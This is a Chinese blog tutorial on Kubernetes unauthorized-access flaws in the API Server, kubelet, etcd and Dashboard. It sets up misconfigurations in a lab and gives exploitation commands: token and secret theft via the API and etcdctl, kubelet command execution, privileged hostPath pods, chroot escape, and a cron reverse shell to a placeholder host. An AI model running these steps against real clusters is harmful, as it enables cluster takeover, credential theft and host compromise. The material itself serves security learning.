云安全之k8s未授权漏洞总结

发布于:2025-03-29 ⋅ 阅读:(27) ⋅ 点赞:(0)

一、k8s介绍

在这里插入图片描述
全称是 kubernetes,是谷歌在2014年推出的一种开源容器编排系统,后来捐赠给了云原生计算基金会(CNCF)。因将k后面的8个字母进行缩写后,被广泛简称为K8s。随着容器技术的发展,面临着容器数量庞大、难以管理的问题,K8s的推出很好的解决了这一问题,并且在容器编排系统中占据领先地位。

Kubernetes 的名字来源于希腊语,意为“舵手”或“领航员”,寓意着它在容器编排领域如同舵手一般,引领着容器化应用的运行(docker的logo是一个运输船)。

Master 节点:

Master节点是 Kubernetes 集群的控制节点,每个 Kubernetes 集群里至少有一个Master节点,它负责整个集群的决策(如调度),发现和响应集群的事件,是 Kubernetes 集群的“大脑”。Master节点可以运行在集群中的任意一个节点上,但是最好将Master节点作为一个独立节点,不在该节点上创建容器,因为如果该节点出现问题导致宕机或不可用,整个集群的管理就会失效。

在Master节点上,通常会运行以下服务:

  • API Server(kube-apiserver)
    提供 HTTP Rest 接口,处理所有资源的增、删、改、查等操作,是集群控制的入口。
  • etcd
    分布式的键值存储系统,用于保存集群的配置数据和状态信息。
  • Scheduler(kube-scheduler)
    调度器,负责将新创建的 Pod 调度到合适的工作节点上运行,基于资源需求、约束条件等进行调度。
  • Controller Manager(kube-controller-manager)
    控制和管理器,运行多个控制器进程,如节点控制器、复制控制器等,确保集群状态符合期望状态。
Node 节点:

Node节点是Kubernetes集群的工作节点,每个集群中至少需要一台Node节点,它负责真正的运行Pod,当某个Node节点出现问题而导致宕机时,Master会自动将该节点上的Pod调度到其他节点。Node节点可以运行在物理机上,也可以运行在虚拟机中。

在Node节点上,通常会运行以下服务:

  • kubelet
    运行在每一个 Node 节点上的客户端,负责Pod对应的容器创建,启动和停止等任务,同时和Master节点进行通信,实现集群管理的基本功能。
  • kube-proxy
    实现 Kubernetes 服务(Service)的网络代理,负责负载均衡和网络通信。
  • container runtime
    负责运行和管理容器,常见的容器运行时有 Docker、containerd 等。
Pod:

是 Kubernetes 中最小的部署和调度单元。一个 Pod 可以包含一个或多个紧密相关的容器,这些容器共享网络(同一 IP 地址)和存储资源。Pod 设计为临时的,若其中的容器异常退出,Kubernetes 可以通过控制器自动重建它们。

一句话总结:
  • Master:管事的(决策者)
  • Node:干活的(执行者)
  • Pod:干活的工具包(运行单元)

在这里插入图片描述

二、组件接口存在的风险

k8s 中的大多数组件以 HTTP 和 HTTPS 的 API 形式提供服务,常见端口如下:

组件 默认端口 说明
API Server 6443 基于 HTTP 的安全端口
API Server 8080 不安全的 HTTP 端口
Kubelet 10248 检查健康状态的端口
Kubelet 10250 面向 API Server 提供服务的 HTTPS 端口
Kubelet 10255 提供了pod和node的信息,接口以只读形式暴露出去,访问该端口不需要认证和鉴权
Dashboard 8001 提供 HTTP 服务的端口
etcd 2379 客户端与服务端之间通信的端口
etcd 2380 不同服务端之间通信的端口

API Server 未授权访问

默认情况下,Kubernetes API Server 在两个端口提供服务:8080 和 6443

8080: insecure-port #以 HTTP 提供服务,无认证和授权机制,
6443: secure-port #以 HTTPS 提供服务,支持认证和授权服务。

如果配置不当,8080 和 6443端口都会存在未授权访问漏洞,只要网络可达,攻击者就能够通过这两个端口操控集群。

8080端口未授权访问

在较新版本的 Kubernetes 中,8080 端口的 HTTP 服务默认不启动,需要我们手动开启。

vim /etc/kubernetes/manifests/kube-apiserver.yaml

在这里插入图片描述
这里设置为0表示关闭,甚至在高版本的k8s中,直接将--insecure-port这个配置删除了,需要手动添加。

这里将修改为8080,并添加配置

- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
systemctl restart kubelet

访问 8080 端口即可看到存在未授权。
在这里插入图片描述

通过 kubectl -s 命令,查看node节点信息以及pod信息

kubectl -s ip:8080 get node
kubectl -s ip:8080:8080 get pod

在这里插入图片描述
执行命令

kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-59595f6ffc-p8xvk bash

在这里插入图片描述

在高版本的k8s中,这种方法是不行的,连不上去

获取 service-account-token

/api/v1/namespaces/kube-system/secrets/

在这里插入图片描述
建立特权 Pod,进行逃逸
本地创建 test.yaml 文件,内容如下:

apiVersion: v1
kind: Pod
metadata:
  name: nginx-deployment
spec:
  containers:
  - image: nginx:1.8
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: test
  volumes:
  - name: test
    hostPath:
      path: /
kubect -s https://your-ip:6443/ apply -f test.yaml

创建完成后,进入特权容器bash,然后就是利用挂载的目录写入定时任务,或者 chroot 逃逸了。

chroot /mnt
6443端口未授权访问

如果配置不当,将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。

正常情况下,直接访问 6443 端口会返回 403
在这里插入图片描述
执行以下命令将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

再次访问
在这里插入图片描述
获取所有Pod列表

/api/v1/namespaces/default/pods 

在这里插入图片描述
获取token

/api/v1/namespaces/kube-system/secrets/

在这里插入图片描述
创建特权容器

POST /api/v1/namespaces/default/pods HTTP/1.1
Host: x.x.x.x:6443
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 1176

{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "annotations": {
            "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
        },
        "name": "sectest",
        "namespace": "default"
    },
    "spec": {
        "containers": [
            {
                "image": "nginx:1.14.2",
                "name": "test-4444",
                "volumeMounts": [
                    {
                        "mountPath": "/host",
                        "name": "host"
                    }
                ]
            }
        ],
        "volumes": [
            {
                "hostPath": {
                    "path": "/",
                    "type": "Directory"
                },
                "name": "host"
            }
        ]
    }
}

在这里插入图片描述
可以看到Pod创建成功:
在这里插入图片描述
使用 kubectl 查看所有Pod:

kubectl.exe --insecure-skip-tls-verify -s https://IP:6443 get pods --all-namespaces

用户名和密码随意输入

查看所有Pod状态:

kubectl.exe --insecure-skip-tls-verify -s https://IP:6443 describe pod --all-namespaces

获取bash:

kubectl.exe --insecure-skip-tls-verify -s https://IP:6443 --namespace=default exec -it sectest -- bash

可以通过 chroot 到宿主机shell,或者通过写入定时任务,反弹宿主机shell了。

kubelet API 未授权访问

10250未授权访问

端口 10250 是 Kubernetes 集群中 Kubelet 的默认端口。Kubelet 是 Kubernetes 集群中每个Node 节点上运行的主要“节点代理”,负责Pod对应的容器创建,启动和停止等任务,同时和 Master 节点进行通信,实现集群管理的基本功能。

Kubelet 的配置文件是 /var/lib/kubelet/config.yaml。一般来说,我们在安装 Kubernetes 时会将 --anonymous-auth 设置为 false,并在 authorization 中选择 mode 为 Webhook。前一选项禁止匿名用户访问,后一选项则使 Kubelet 通过 API Server 进行授权(即使匿名用户能够访间,也几乎不具备任何权限)。

但是,一旦 --anonymous-auth 被设置为 true,且 authorization.mode 被设置为 AlwaysAllow 这就非常危险了。
在这里插入图片描述

正常访问,10250端口提示未认证
在这里插入图片描述
修改配置后重启
在这里插入图片描述
在这里插入图片描述
此界面有时会泄露一些账户密码等敏感信息。

执行命令

格式

curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"

这里需要三个参数

namespace:对应metadata.namespace
pod:对应metadata.name
container:对应spec.containers.0.name

通过https://IP:10250/runningpods/ 获取三个参数:
在这里插入图片描述
在这里插入图片描述

10255未授权访问

kubelet 的只读端口,配置不当也会存在未授权的访问,允许恶意用户或应用程序查看节点上的一些敏感信息,如 Pod 日志和配置。尽管只读端口比完全的 kubelet API 服务器更受限制,但仍可能导致信息泄漏问题。

默认情况下 k8s 集群不对外开放10255端口,修改 /var/lib/kubelet/config.yaml,新增如下内容,在最后一行加就行:

readOnlyPort: 10255
address: 0.0.0.0

在这里插入图片描述
重启 kubelet 服务后就能访问了。

获取pods信息
在这里插入图片描述
同样此界面有时会泄露一些账户密码等敏感信息。
在这里插入图片描述

10255端口是只读的,只能获取信息,无法对pod执行命令,读取token等操作。

Etcd 未授权

etcd 默认端口 2379,用于存储 k8s 集群中的所有配置数据和状态信息,如果管理员配置不当,导致 etcd 未授权访问的情况,那么攻击者就可以从 etcd 中获取 secrets&token 等关键信息,进而通过 kubectl 创建恶意 pod 从而接管集群。

在 etcd 的配置文件 /etc/kubernetes/manifests/etcd.yaml 中,--client-cert-auth 默认为 true,这意味着访问 etcd 服务需要携带 cert 进行认证(本地 127.0.0.1 可免认证访问)。

如果目标在启动 etcd 的时候没有开启证书认证选项,且 2379 端口直接对外开放的话,则存在 etcd 未授权访问漏洞。

PS:安装k8s之后默认的配置2379都只会监听127.0.0.1,而不会监听0.0.0.0,那么也就意味着最多就是本地访问,不能公网访问。

Etcd常见风险包括

  1. 启动etcd时,未使用client-cert-auth参数打开证书校验;
  2. Etcd 2379端口公网暴露;
  3. 由于SSRF漏洞导致Etcd 127.0.0.1:2379 可访问;
  4. Etcd cert泄露。

client-cert-auth=true 改为false,把listen-client-urls监听修改为0.0.0.0,将端口被暴露出去,导致etcd存在未授权访问漏洞。

vi /etc/kubernetes/manifests/etcd.yaml
    - --client-cert-auth=false
    - --listen-client-urls=http://0.0.0.0:2379

在这里插入图片描述

查看是否存在未授权访问

https://your-ip:2379/version
-------------
返回如下则存在未授权访问:
{etcdserver: "3.4.3", etcdcluster: "3.4.0"} 
https://your-ip:2379/v2/keys
-------------
返回如下则存在未授权访问:
{"action":"get","node":{"dir":true,"nodes":...}}

攻击过程:

1、下载 etcdctl 工具,以便通过命令行与 etcd 通信。

2、用 etcdctl 3.0 的 API,设置环境变量:

export ETCDCTL_API=3

3、通过命令行连接到目标 etcd 服务,列出存储的数据:

#读取etcd中存储的数据,通过--limit选项限制数量
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --limit=2

在这里插入图片描述

#获取k8s的secrets和token
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --keys-only |grep secrets

在这里插入图片描述

#找到对应的 key 后,再读取对应的值,以/registry/secrets/test/bypass-token-p6xpj为例:
./etcdctl --endpoints=192.168.44.138:2379 get /registry/secrets/test/bypass-token-p6xpj

获取高权限服务账号token
在这里插入图片描述

最终的 token 为 token? 和 #kubernetes.io/service-account-token 之间的部分。可以使用 curl 验证 token 的有效性:

curl --header "Authorization: Token" -X GET https://your-ip:6443/api -k

通过token访问API-Server,可进一步创建恶意Pod,获取集群管理员的权限。

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=[.token.]” -n kube-system get pods

在这里插入图片描述
接下来就可以创建一个恶意 Pod

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ \
  --token="[your-token]" -n kube-system run malicious-pod \
  --image=your-malicious-image \
  --restart=Never \
  --overrides='{
    "apiVersion": "v1",
    "spec": {
      "containers": [{
        "name": "malicious",
        "image": "your-malicious-image",
        "securityContext": {
          "privileged": true
        },
        "volumeMounts": [{
          "name": "host",
          "mountPath": "/host"
        }]
      }],
      "hostNetwork": true,
      "volumes": [{
        "name": "host",
        "hostPath": {
          "path": "/",
          "type": "Directory"
        }
      }]
    }
  }'

说明:

--insecure-skip-tls-verify:跳过 TLS 校验(在实验环境中可能使用)。
--token="[your-token]":用前面获取到的 token 替换 [your-token]。
-n kube-system:在 kube-system 命名空间中运行,通常该命名空间权限较高。
securityContext 的 privileged: true 允许容器拥有更多宿主机权限。
通过 volumeMounts 和 volumes,将宿主机的根目录挂载到容器内,从而可能访问宿主机上的敏感文件或配置。

进入 Pod

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[your-token]" -n kube-system exec -it malicious-pod -- /bin/sh

然后就可以利用挂载的宿主机文件系统,通过计划任务反弹宿主机shell。

Dashboard 未授权访问

k8s 的 Dashboard 是以基于网页的 k8s 用户界面,用户可获得运行在集群中应用的概览信息,并且图形化操纵 k8s 资源。Dashboard默认不安装,并且手动安装后只能通过执行了 kubectl proxy 的机器进行访问,但是当使用的 Dashboard 配置不当,或者部署低版本的 Dashboard 时选择了”跳过”选项,可能会导致一些未授权访问漏洞,此外,通过K8s API,或者集群的单点登录等方式访问 Dashboard。

通过6443端口进行访问:

https://IP:6443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/#/workloads?namespace=default

在这里插入图片描述
创建一个特权Pod,并且挂载宿主机根路径到/sechost下

配置文件:

apiVersion: v1
kind: Pod
metadata:
  name: sectest1
spec:
  containers:
  - name: hostpath-container
    image: nginx:1.14.1
    volumeMounts:
    - name: hostpath-volume
      mountPath: /sechost
  volumes:
  - name: hostpath-volume
    hostPath:
      path: /

16.png
选择创建的Pod,点击执行
17.png
通过计划任务获得宿主机shell

chroot sechost
echo 'bash -i >& /dev/tcp/x.x.x.x/2333 0>&1' > /etc/cron.hourly/test.sh
chmod +x /etc/cron.hourly/test.sh

18.png
或者直接进入特权容器,特权容器可以挂载宿主机磁盘路径到容器中。

fdisk -l
mkdir /sechost
mount /dev/dm-0 /sechost/
chroot /sechost/

19.png

参考文章:
https://www.cnblogs.com/xiaozi/p/17939752
https://zone.huoxian.cn/d/1153-k8s
https://www.sumor.top/2023/06/15/K8s%E4%B8%8B%E7%9A%84%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%80%9D%E8%B7%AF/index.html
https://www.geekby.site/2021/11/k8s%E5%AE%89%E5%85%A8/#21-api-server-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE